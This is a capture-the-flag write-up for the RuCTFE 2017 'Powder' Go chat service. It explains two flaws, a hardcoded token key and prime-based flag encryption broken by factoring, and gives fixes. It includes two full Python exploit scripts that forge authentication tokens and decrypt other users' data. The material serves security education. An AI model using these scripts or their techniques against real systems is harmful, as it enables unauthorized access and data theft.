RuCTFE 2017 Powder Writeup
05 December 2017 by alfink
RuCTFE 2017: Powder Writeup
Introduction
Powder was a web service written in Go
. It allowed users to chat with each other and also with bot users. The flags were stored encrypted in the address field of each profile.
Authentication
After each login, the Server returned a token, which was sent back by the client in subsequent requests. The token was created using the username and was used to prove to the server that a former login using the given username had been successful. But how was the token generated?
func (crypto *Crypto) MakeToken(login string) string {
block, err := aes.NewCipher(crypto.masterKey)
if err != nil {
panic(err)
}
rand.Seed(time.Now().Unix() / 60)
mac := hmac.New(sha256.New, crypto.masterKey)
loginBytes := []byte(login)
tokenBytes := make([]byte, mac.Size() + aes.BlockSize + len(loginBytes))
iv := tokenBytes[mac.Size():mac.Size() + aes.BlockSize]
rand.Read(iv)
stream := cipher.NewCTR(block, iv)
stream.XORKeyStream(tokenBytes[aes.BlockSize + mac.Size():], loginBytes)
mac.Write(tokenBytes[mac.Size():])
copy(tokenBytes[:mac.Size()], mac.Sum(nil)[:])
return hex.EncodeToString(tokenBytes)
}
The token consisted of three parts: hmac
+ IV
+ ciphertext
First, the IV
was generated randomly and the ciphertext was created by encrypting the username with AES-CTR
using the generated IV
and a hardcoded key. Then the sha256-hmac
was calculated of IV
+ciphertext
by using the hardcoded key again.
func NewCrypto() *Crypto {
return &Crypto{
masterKey: []byte("DONT_FORGET_TO_CHANGE_IT"),
}
}
The obvious flaw here was the hardcoded key and therefore all other teams used the same key as we did, so we were able to forge arbitrary tokens using the key "DONT_FORGET_TO_CHANGE_IT"
. The obvious fix was to change the key to an unknown one.
When we went to the profile page using a forged token, the server decrypted the address field of the user specified by the token and we received the flag.
Exploit:
#!/usr/bin/python
import hashlib
import json
import os
from Crypto.Cipher import AES
from Crypto.Util import Counter
from binascii import hexlify, unhexlify
from hmac import new
import requests
def create_token(key, name):
iv = os.urandom(16)
encryption_suite = AES.new(key, AES.MODE_CTR, counter=Counter.new(128 , initial_value=long(iv.encode("hex"),16)) )
cipher = encryption_suite.encrypt(name)
hmac = new(key, msg=iv+cipher, digestmod=hashlib.sha256).digest()
return hexlify(hmac + iv + cipher)
def decrypt_token(key, token):
token = unhexlify(token)
iv = token[32:32+16]
cipher = token[32+16:]
encryption_suite = AES.new(key, AES.MODE_CTR, counter=Counter.new(128 , initial_value=long(iv.encode("hex"),16)))
plain = encryption_suite.decrypt(cipher)
hmac = new(key, msg=token[32:], digestmod=hashlib.sha256).digest()
return plain, hmac == token[:32]
def exploit(target):
s = requests.session()
key = "DONT_FORGET_TO_CHANGE_IT"
data = s.get("http://{}:8082/api/v1/users".format(target), timeout=5).text
users = json.loads(data)["users"]
for user in users:
name = user["login"]
print s.get("http://{}:8082/api/v1/user/profile".format(target), headers={"token": create_token(key, name)}, timeout=2).text
User List
It was possible to obtain a list of recently registered users by accessing /api/v1/users
. This provided for each user the fields login
, fullname
,picture
,public
and address
. login
was the username, fullname and picture were values that did not matter. public
was a integer generated at signup and address
held the flag, but encrypted. This list only returned only the 10 newest users by default but increasing this limit by providing the GET paramter limit
with a higher value made exploits more effective.
Encryption
func (*Crypto) NewKeys() (string, string, string, string) {
prime1, _ := cryptoRand.Prime(cryptoRand.Reader, 512)
prime2, _ := cryptoRand.Prime(cryptoRand.Reader, 512)
prime3 := TrickyKey(prime2)
public := big.NewInt(1)
public.Mul(public, prime1)
public.Mul(public, prime2)
public.Mul(public, prime3)
return prime1.String(), prime2.String(), prime3.String(), public.String()
}
The generation of public
was done by multiplying three primes prime1
, prime2
and prime3
where prime1
and prime2
were random 512 bit primes.
func TrickyKey(base *big.Int) *big.Int {
result := &big.Int{}
step, _ := cryptoRand.Prime(cryptoRand.Reader, 32)
result.Add(base, step)
for {
if result.ProbablyPrime(10) {
return result
}
step, _ = cryptoRand.Prime(cryptoRand.Reader, 32)
result.Add(result, step)
}
}
prime3
was generated by taking the value of prime2
and adding random 32 bit primes until the result formed again a prime. Up to then, public
and the primes seemed to be useless until we found out how the flags were encrypted.
func (crypto *Crypto) Encrypt(user *User, data string) string {
prime1 := crypto.Hash("", user.Properties["prime1"])
prime2 := crypto.Hash("", user.Properties["prime2"])
prime3 := crypto.Hash("", user.Properties["prime3"])
return hex.EncodeToString(innerEncrypt(prime3,
innerEncrypt(prime2,
innerEncrypt(prime1, []byte(data)))))
}
The encrypted address
was created by encrypting the flag with the md5-hash of prime3
, then the result was encrypted using the hash of prime2
and this result was then encrypted using the hash of prime1
. The encryptions used again AES-CTR
with randomly generated IV
s prepended to each encryption output.
As the first vulnerability was fixed by most teams we hoped that we find a way to obtain the primes which would have allowed us to steal flags again by decrypting the public available address
of the gameserver created users.
But there was this bot-feature which we ignored until then. If you were lucky and/or sent many messages the bot, which was usually activated for the gameserver created users, replied you a message containing prime1
:
OK, I'll give what you want tonight. Let's meet here \xe2\x80\x94 11297249021808963085101011438644760426159242657540879787659093881930011073546755933906196347958709572600298992689406997351365078684715791671939409803794273
As public
and prime1
were known and public = prime1 * prime2 * prime3
holds, we could calculate public / prime1
and factorize the result to learn prime2
and prime3
. This worked well using factorint
from the python sympy
module.
Our fix was to add a constant salt to the hash, as an attacker is then not able to generate the decryption key using the primes:
prime1 := crypto.Hash("saarsec.rocks", user.Properties["prime1"])
prime2 := crypto.Hash("saarsec.rocks", user.Properties["prime2"])
prime3 := crypto.Hash("saarsec.rocks", user.Properties["prime3"])
Our exploit:
#!/usr/bin/python
import hashlib
import json
import os
import random
import re
import string
import sys
from Crypto.Cipher import AES
from Crypto.Util import Counter
from binascii import unhexlify, hexlify
import requests
from sympy.ntheory import factorint
def md5(prime):
salt = ""
x = hashlib.md5(salt)
x.update(prime)
return x.digest()
def inner_decrypt(key, payload):
iv = payload[:16]
cipher = payload[16:]
encryption_suite = AES.new(key, AES.MODE_CTR, counter=Counter.new(128, initial_value=long(iv.encode("hex"), 16)))
return encryption_suite.decrypt(cipher)
def inner_encrypt(key, payload):
iv = os.urandom(16)
cipher = payload
encryption_suite = AES.new(key, AES.MODE_CTR, counter=Counter.new(128, initial_value=long(iv.encode("hex"), 16)))
return iv + encryption_suite.encrypt(cipher)
def decrypt(prime1, prime2, prime3, ciphertext_hex):
ciphertext = unhexlify(ciphertext_hex)
return hexlify(
inner_decrypt(md5(str(prime1)), inner_decrypt(md5(str(prime2)), inner_decrypt(md5(str(prime3)), ciphertext))))
def encrypt(prime1, prime2, prime3, flag_hex):
flag = unhexlify(flag_hex)
return hexlify(
inner_encrypt(md5(str(prime3)), inner_encrypt(md5(str(prime2)), inner_encrypt(md5(str(prime1)), flag))))
regex = re.compile("\d{100,}")
s = requests.session()
target = sys.argv[1]
token = json.loads(s.post("http://{}:8082/api/v1/auth/signup".format(target),
data={'login': "".join(random.choice(string.lowercase) for _ in range(10)),
'password': "".join(random.choice(string.lowercase) for _ in range(10))}, timeout=3).text)["token"]
r = s.get("http://{}:8082/api/v1/users?limit=200".format(target), headers={"token": token}, timeout=3)
users = json.loads(r.text)
for user in users['users']:
if len(user['address']) is not 0:
address = user['address']
login = user['login']
i = 0
for x in range(100):
s.post("http://{}:8082/api/v1/conversations".format(target), data={"message": "O9LA", "to": login},
headers={"token": token}, timeout=3).text
if (x % 3) == 2:
data = s.get("http://{}:8082/api/v1/conversations".format(target), params={"to": login},
headers={"token": token}, timeout=3).text
numbers = regex.findall(data)
if len(numbers) > 0:
prime1 = numbers[0]
break
else:
continue
public = user["public"]
factors = factorint(int(public) / int(prime1))
if len(factors) == 2:
prime2 = min(factors)
prime3 = max(factors)
address = unhexlify(decrypt(prime1, prime2, prime3, address))
print(repr(address))
Discussion
The first exploit worked well. Sadly our second exploit was not really efficient, as we had to sent too many messages to get prime1
back. The challenge also taught me to not hardcode the address of our own vulnbox in the exploit script and the distinct difference between digest()
and hexdigest()
. I really liked about this challenge that both exploits can not be stolen using traffic analysis. Overall, Powder was fun! (As was the whole CTF itself).